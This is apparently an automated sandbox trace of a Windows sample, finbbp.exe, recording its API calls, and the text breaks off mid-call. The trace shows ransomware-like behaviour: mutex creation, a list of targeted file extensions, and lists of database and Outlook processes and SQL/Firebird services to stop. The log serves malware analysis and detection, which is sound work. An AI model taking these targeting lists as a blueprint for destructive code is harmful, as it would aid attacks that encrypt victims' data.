# Flog Txt Version 1 # Analyzer Version: 3.2.2 # Analyzer Build Date: Mar 3 2020 14:14:30 # Log Creation Date: 19.04.2020 20:52:23.506 Process: id = "1" image_name = "finbbp.exe" filename = "c:\\users\\fd1hvy\\desktop\\finbbp.exe" page_root = "0xd376000" os_pid = "0x112c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x560" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\finbbp.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x111c [0060.647] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x772d0000 [0060.647] GetProcAddress (hModule=0x772d0000, lpProcName="GetProcAddress") returned 0x772e51b0 [0060.647] GetProcAddress (hModule=0x772d0000, lpProcName="GetModuleHandleW") returned 0x772e50d0 [0060.647] GetProcAddress (hModule=0x772d0000, lpProcName="FindNextFileW") returned 0x7733ee40 [0060.648] GetProcAddress (hModule=0x772d0000, lpProcName="FindClose") returned 0x7733ed70 [0060.648] GetProcAddress (hModule=0x772d0000, lpProcName="MoveFileW") returned 0x7731e500 [0060.648] GetProcAddress (hModule=0x772d0000, lpProcName="GetFileSizeEx") returned 0x7733ef40 [0060.648] GetProcAddress (hModule=0x772d0000, lpProcName="GetModuleFileNameW") returned 0x772e5090 [0060.648] GetProcAddress (hModule=0x772d0000, lpProcName="GetFileAttributesW") returned 0x7733ef10 [0060.648] GetProcAddress (hModule=0x772d0000, lpProcName="ExitProcess") returned 0x772e3cb0 [0060.648] GetProcAddress (hModule=0x772d0000, lpProcName="GetCommandLineW") returned 0x772e4cc0 [0060.648] GetProcAddress (hModule=0x772d0000, lpProcName="GetComputerNameW") returned 0x773132c0 [0060.648] GetProcAddress (hModule=0x772d0000, lpProcName="GetComputerNameA") returned 0x77313780 [0060.648] GetProcAddress (hModule=0x772d0000, lpProcName="CreateMutexW") returned 0x7733eb70 [0060.648] GetProcAddress (hModule=0x772d0000, lpProcName="lstrlenW") returned 0x772e6c70 [0060.648] GetProcAddress (hModule=0x772d0000, lpProcName="lstrlenA") returned 0x772e6c50 [0060.648] GetProcAddress (hModule=0x772d0000, lpProcName="GetCurrentProcess") returned 0x7733ea10 [0060.648] GetProcAddress (hModule=0x772d0000, lpProcName="WaitForSingleObject") returned 0x7733eca0 [0060.648] GetProcAddress (hModule=0x772d0000, lpProcName="GetLogicalDrives") returned 0x772e0d20 [0060.649] GetProcAddress (hModule=0x772d0000, lpProcName="GetTickCount") returned 0x7733dd50 [0060.649] GetProcAddress (hModule=0x772d0000, lpProcName="DeleteFileW") returned 0x7733ed40 [0060.649] GetProcAddress (hModule=0x772d0000, lpProcName="WideCharToMultiByte") returned 0x772e6b10 [0060.649] GetProcAddress (hModule=0x772d0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x7733ebb0 [0060.649] GetProcAddress (hModule=0x772d0000, lpProcName="Sleep") returned 0x772e6760 [0060.649] GetProcAddress (hModule=0x772d0000, lpProcName="LeaveCriticalSection") returned 0x779bb250 [0060.649] GetProcAddress (hModule=0x772d0000, lpProcName="ReadFile") returned 0x7733f090 [0060.649] GetProcAddress (hModule=0x772d0000, lpProcName="CreateFileW") returned 0x7733ed10 [0060.649] GetProcAddress (hModule=0x772d0000, lpProcName="OpenMutexW") returned 0x7733ebf0 [0060.649] GetProcAddress (hModule=0x772d0000, lpProcName="EnterCriticalSection") returned 0x779bb2d0 [0060.649] GetProcAddress (hModule=0x772d0000, lpProcName="WaitForMultipleObjects") returned 0x7733ec80 [0060.649] GetProcAddress (hModule=0x772d0000, lpProcName="lstrcmpiW") returned 0x772e6bf0 [0060.649] GetProcAddress (hModule=0x772d0000, lpProcName="lstrcmpiA") returned 0x772e6bd0 [0060.649] GetProcAddress (hModule=0x772d0000, lpProcName="DeleteCriticalSection") returned 0x7799fb90 [0060.650] GetProcAddress (hModule=0x772d0000, lpProcName="ReleaseMutex") returned 0x7733ec20 [0060.650] GetProcAddress (hModule=0x772d0000, lpProcName="CloseHandle") returned 0x7733eab0 [0060.650] GetProcAddress (hModule=0x772d0000, lpProcName="GetVersion") returned 0x772e56c0 [0060.650] GetProcAddress (hModule=0x772d0000, lpProcName="CreateThread") returned 0x772e46b0 [0060.650] GetProcAddress (hModule=0x772d0000, lpProcName="ExpandEnvironmentStringsW") returned 0x772e4a40 [0060.650] GetProcAddress (hModule=0x772d0000, lpProcName="QueryPerformanceCounter") returned 0x772e5da0 [0060.650] GetProcAddress (hModule=0x772d0000, lpProcName="QueryPerformanceFrequency") returned 0x772e5dc0 [0060.650] GetProcAddress (hModule=0x772d0000, lpProcName="GetCurrentProcessId") returned 0x7733ea20 [0060.650] GetProcAddress (hModule=0x772d0000, lpProcName="SetFileAttributesW") returned 0x7733f100 [0060.650] GetProcAddress (hModule=0x772d0000, lpProcName="GetVolumeInformationW") returned 0x7733f020 [0060.650] GetProcAddress (hModule=0x772d0000, lpProcName="WriteFile") returned 0x7733f180 [0060.650] GetProcAddress (hModule=0x772d0000, lpProcName="SetFilePointerEx") returned 0x7733f130 [0060.650] GetProcAddress (hModule=0x772d0000, lpProcName="SetEndOfFile") returned 0x7733f0e0 [0060.650] GetProcAddress (hModule=0x772d0000, lpProcName="FindFirstFileW") returned 0x7733edf0 [0060.651] GetProcAddress (hModule=0x772d0000, lpProcName="GetProcessHeap") returned 0x772e51f0 [0060.651] GetProcAddress (hModule=0x772d0000, lpProcName="HeapReAlloc") returned 0x779af630 [0060.651] GetProcAddress (hModule=0x772d0000, lpProcName="HeapAlloc") returned 0x779b2dc0 [0060.651] GetProcAddress (hModule=0x772d0000, lpProcName="HeapFree") returned 0x772e57f0 [0060.651] GetProcAddress (hModule=0x772d0000, lpProcName="CreatePipe") returned 0x772e4590 [0060.651] GetProcAddress (hModule=0x772d0000, lpProcName="SetHandleInformation") returned 0x7733eae0 [0060.651] GetProcAddress (hModule=0x772d0000, lpProcName="CreateProcessW") returned 0x772e4610 [0060.651] GetProcAddress (hModule=0x772d0000, lpProcName="CompareStringW") returned 0x772e4430 [0060.651] GetProcAddress (hModule=0x772d0000, lpProcName="CompareStringA") returned 0x772e4410 [0060.651] GetProcAddress (hModule=0x772d0000, lpProcName="OpenProcess") returned 0x772e5cc0 [0060.651] GetProcAddress (hModule=0x772d0000, lpProcName="TerminateProcess") returned 0x772e67e0 [0060.651] GetProcAddress (hModule=0x772d0000, lpProcName="GetSystemTime") returned 0x772e54e0 [0060.651] GetProcAddress (hModule=0x772d0000, lpProcName="SystemTimeToFileTime") returned 0x772e67a0 [0060.651] GetProcAddress (hModule=0x772d0000, lpProcName="GetLastError") returned 0x772e5010 [0060.652] GetProcAddress (hModule=0x772d0000, lpProcName="CreateToolhelp32Snapshot") returned 0x7731edc0 [0060.652] GetProcAddress (hModule=0x772d0000, lpProcName="Process32NextW") returned 0x7731f8f0 [0060.652] GetProcAddress (hModule=0x772d0000, lpProcName="Process32FirstW") returned 0x7731f750 [0060.652] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x756e0000 [0064.736] GetProcAddress (hModule=0x756e0000, lpProcName="RegOpenKeyExW") returned 0x756fe580 [0064.736] GetProcAddress (hModule=0x756e0000, lpProcName="RegQueryValueExW") returned 0x756fe5a0 [0064.736] GetProcAddress (hModule=0x756e0000, lpProcName="RegSetValueExW") returned 0x756ff530 [0064.736] GetProcAddress (hModule=0x756e0000, lpProcName="RegCloseKey") returned 0x756fed60 [0064.736] GetProcAddress (hModule=0x756e0000, lpProcName="OpenProcessToken") returned 0x756fefb0 [0064.736] GetProcAddress (hModule=0x756e0000, lpProcName="GetTokenInformation") returned 0x756fee90 [0064.736] GetProcAddress (hModule=0x756e0000, lpProcName="OpenSCManagerW") returned 0x75700540 [0064.736] GetProcAddress (hModule=0x756e0000, lpProcName="OpenServiceW") returned 0x756ffa20 [0064.736] GetProcAddress (hModule=0x756e0000, lpProcName="CloseServiceHandle") returned 0x756ffc00 [0064.737] GetProcAddress (hModule=0x756e0000, lpProcName="ControlService") returned 0x757126d0 [0064.737] GetProcAddress (hModule=0x756e0000, lpProcName="QueryServiceStatus") returned 0x75702380 [0064.737] GetProcAddress (hModule=0x756e0000, lpProcName="EnumDependentServicesW") returned 0x75712f70 [0064.737] GetProcAddress (hModule=0x756e0000, lpProcName="EnumServicesStatusExW") returned 0x756ffc80 [0064.737] LoadLibraryA (lpLibFileName="user32.dll") returned 0x750c0000 [0073.010] GetProcAddress (hModule=0x750c0000, lpProcName="SystemParametersInfoW") returned 0x750ef210 [0073.010] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75760000 [0087.546] GetProcAddress (hModule=0x75760000, lpProcName="ShellExecuteExW") returned 0x758c4730 [0087.546] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77970000 [0087.546] GetProcAddress (hModule=0x77970000, lpProcName="NtQuerySystemInformation") returned 0x779e2070 [0087.546] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x742c0000 [0087.918] GetProcAddress (hModule=0x742c0000, lpProcName="WNetCloseEnum") returned 0x742c2640 [0087.918] GetProcAddress (hModule=0x742c0000, lpProcName="WNetOpenEnumW") returned 0x742c2790 [0087.918] GetProcAddress (hModule=0x742c0000, lpProcName="WNetEnumResourceW") returned 0x742c2410 [0087.918] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x754f0000 [0088.464] GetProcAddress (hModule=0x754f0000, lpProcName="WSAStartup") returned 0x754f5b40 [0088.464] GetProcAddress (hModule=0x754f0000, lpProcName="socket") returned 0x75504510 [0088.464] GetProcAddress (hModule=0x754f0000, lpProcName="send") returned 0x754f5030 [0088.464] GetProcAddress (hModule=0x754f0000, lpProcName="recv") returned 0x75500c50 [0088.464] GetProcAddress (hModule=0x754f0000, lpProcName="connect") returned 0x754f5410 [0088.464] GetProcAddress (hModule=0x754f0000, lpProcName="closesocket") returned 0x75500910 [0088.465] GetProcAddress (hModule=0x754f0000, lpProcName="gethostbyname") returned 0x75526cb0 [0088.465] GetProcAddress (hModule=0x754f0000, lpProcName="inet_addr") returned 0x75509160 [0088.465] GetProcAddress (hModule=0x754f0000, lpProcName="ntohl") returned 0x754f49d0 [0088.465] GetProcAddress (hModule=0x754f0000, lpProcName="htonl") returned 0x754f49d0 [0088.465] GetProcAddress (hModule=0x754f0000, lpProcName="htons") returned 0x75508ff0 [0088.465] GetProcessHeap () returned 0x4b0000 [0088.465] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x20) returned 0x4baea0 [0088.465] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=18348940764) returned 1 [0088.465] GetTickCount () returned 0x115751d [0088.465] GetCurrentProcessId () returned 0x112c [0088.467] GetTickCount () returned 0x115751d [0088.467] GetTickCount () returned 0x115751d [0088.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x20) returned 0x4bad10 [0088.467] GetVersion () returned 0x23f00206 [0088.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x7) returned 0x4c6d70 [0088.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4c76e0 [0088.467] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c76e0, Size=0x20) returned 0x4bad60 [0088.467] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4bad60, Size=0x40) returned 0x4ca390 [0088.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x4ce760 [0088.468] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_1C8IV8A") returned 0x0 [0088.468] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_1C8IV8A") returned 0x1ec [0088.469] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c6d70 | out: hHeap=0x4b0000) returned 1 [0088.469] lstrlenW (lpString="Global\\syncronize_") returned 18 [0088.469] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4ca390 | out: hHeap=0x4b0000) returned 1 [0088.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x7) returned 0x4c6e60 [0088.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4c7548 [0088.469] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c7548, Size=0x20) returned 0x4bad60 [0088.469] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4bad60, Size=0x40) returned 0x4ca2b8 [0088.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x4de768 [0088.469] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_1C8IV8U") returned 0x0 [0088.470] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_1C8IV8U") returned 0x1f0 [0088.470] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c6e60 | out: hHeap=0x4b0000) returned 1 [0088.470] lstrlenW (lpString="Global\\syncronize_") returned 18 [0088.470] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4ca2b8 | out: hHeap=0x4b0000) returned 1 [0088.470] GetVersion () returned 0x23f00206 [0088.470] GetCurrentProcess () returned 0xffffffff [0088.470] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0088.470] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0088.470] CloseHandle (hObject=0x1f4) returned 1 [0088.470] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0088.470] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x3e8) returned 0x0 [0088.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x14) returned 0x4c52b0 [0088.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4c7740 [0088.470] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c7740, Size=0x20) returned 0x4bad60 [0088.470] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4bad60, Size=0x40) returned 0x4ca4b0 [0088.470] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ca4b0, Size=0x80) returned 0x4c23b8 [0088.470] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c23b8, Size=0x100) returned 0x4c7358 [0088.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x34) returned 0x4c9598 [0088.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c6d30 [0088.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c6e30 [0088.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c6d00 [0088.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4c7608 [0088.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c6e80 [0088.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4c7788 [0088.471] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c6e80, Size=0x8) returned 0x4c6ea0 [0088.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4c74e8 [0088.471] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c6ea0, Size=0x10) returned 0x4c7548 [0088.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4c75c0 [0088.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4c76b0 [0088.471] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c7548, Size=0x20) returned 0x4bad60 [0088.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4c7500 [0088.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4c74b8 [0088.471] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c6d30, Size=0x8) returned 0x4c6d40 [0088.471] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c6e30, Size=0x8) returned 0x4c6e40 [0088.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c6ea0 [0088.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4c7620 [0088.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c6d30 [0088.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4c7758 [0088.471] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c6d30, Size=0x8) returned 0x4c6e60 [0088.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4c77a0 [0088.471] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c6e60, Size=0x10) returned 0x4c7590 [0088.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4c7770 [0088.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c6d30 [0088.472] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c7590, Size=0x20) returned 0x4eeef8 [0088.472] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c6d40, Size=0x10) returned 0x4c7638 [0088.472] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c6e40, Size=0x10) returned 0x4c7518 [0088.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c6e40 [0088.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4c7548 [0088.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c6e30 [0088.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4c76e0 [0088.472] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c6e30, Size=0x8) returned 0x4c6e60 [0088.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c6d40 [0088.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4c76f8 [0088.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c6e30 [0088.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4c7740 [0088.472] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c6e30, Size=0x8) returned 0x4c6e70 [0088.472] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c7638, Size=0x20) returned 0x4eede0 [0088.472] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c7518, Size=0x20) returned 0x4eeca0 [0088.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c6e30 [0088.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4c7638 [0088.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c6d70 [0088.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4c7518 [0088.472] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c6d70, Size=0x8) returned 0x4c6e80 [0088.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x14) returned 0x4c51d0 [0088.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x14) returned 0x4c5170 [0088.472] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0088.472] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c7358 | out: hHeap=0x4b0000) returned 1 [0088.473] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0 [0088.481] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4c7590 [0088.481] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c7590, Size=0x20) returned 0x4eee58 [0088.481] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4eee58, Size=0x40) returned 0x4ca030 [0088.481] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ca030, Size=0x80) returned 0x4c7d68 [0088.481] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c7d68, Size=0x100) returned 0x4c7358 [0088.481] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4c7590 [0088.481] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c7590, Size=0x20) returned 0x4eef20 [0088.481] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4eef20, Size=0x40) returned 0x4ca4b0 [0088.481] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ca4b0, Size=0x80) returned 0x4f4958 [0088.481] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f4958, Size=0x100) returned 0x4f5030 [0088.481] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4c7590 [0088.482] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4f3490 [0088.482] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4f5438 [0088.482] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f3490, Size=0x8) returned 0x4f33b0 [0088.482] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x14) returned 0x4c5370 [0088.482] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f33b0, Size=0x10) returned 0x4f51c8 [0088.482] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x18) returned 0x4c5130 [0088.482] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1a) returned 0x4eef48 [0088.482] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f51c8, Size=0x20) returned 0x4eed90 [0088.482] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1c) returned 0x4eed18 [0088.482] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x16) returned 0x4c5150 [0088.482] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1a) returned 0x4eedb8 [0088.482] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4f52a0 [0088.482] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4f3490 [0088.482] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40) returned 0x4ca4f8 [0088.482] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f3490, Size=0x8) returned 0x4f3460 [0088.482] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x3c) returned 0x4ca228 [0088.482] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f3460, Size=0x10) returned 0x4f5408 [0088.482] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x14) returned 0x4c51f0 [0088.482] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x18) returned 0x4c53b0 [0088.482] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4f5408, Size=0x20) returned 0x4eee80 [0088.482] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x24) returned 0x4c6048 [0088.482] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0088.482] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c7358 | out: hHeap=0x4b0000) returned 1 [0088.482] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0088.482] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f5030 | out: hHeap=0x4b0000) returned 1 [0088.483] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4eeea8 [0088.502] EnumServicesStatusExW (in: hSCManager=0x4eeea8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0 [0088.504] GetLastError () returned 0xea [0088.504] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1ce8) returned 0x4f7728 [0088.505] EnumServicesStatusExW (in: hSCManager=0x4eeea8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4f7728, cbBufSize=0x1ce8, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4f7728, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1 [0088.508] CloseServiceHandle (hSCObject=0x4eeea8) returned 1 [0088.510] lstrlenW (lpString="Appinfo") returned 7 [0088.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0088.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0088.514] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0088.514] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0088.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0088.514] lstrlenW (lpString="AppXSvc") returned 7 [0088.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0088.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0088.514] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0088.514] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0088.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0088.514] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0088.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0088.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0088.514] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0088.514] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0088.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0088.515] lstrlenW (lpString="Audiosrv") returned 8 [0088.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0088.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0088.515] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0088.515] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0088.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0088.515] lstrlenW (lpString="BFE") returned 3 [0088.515] lstrcmpiW 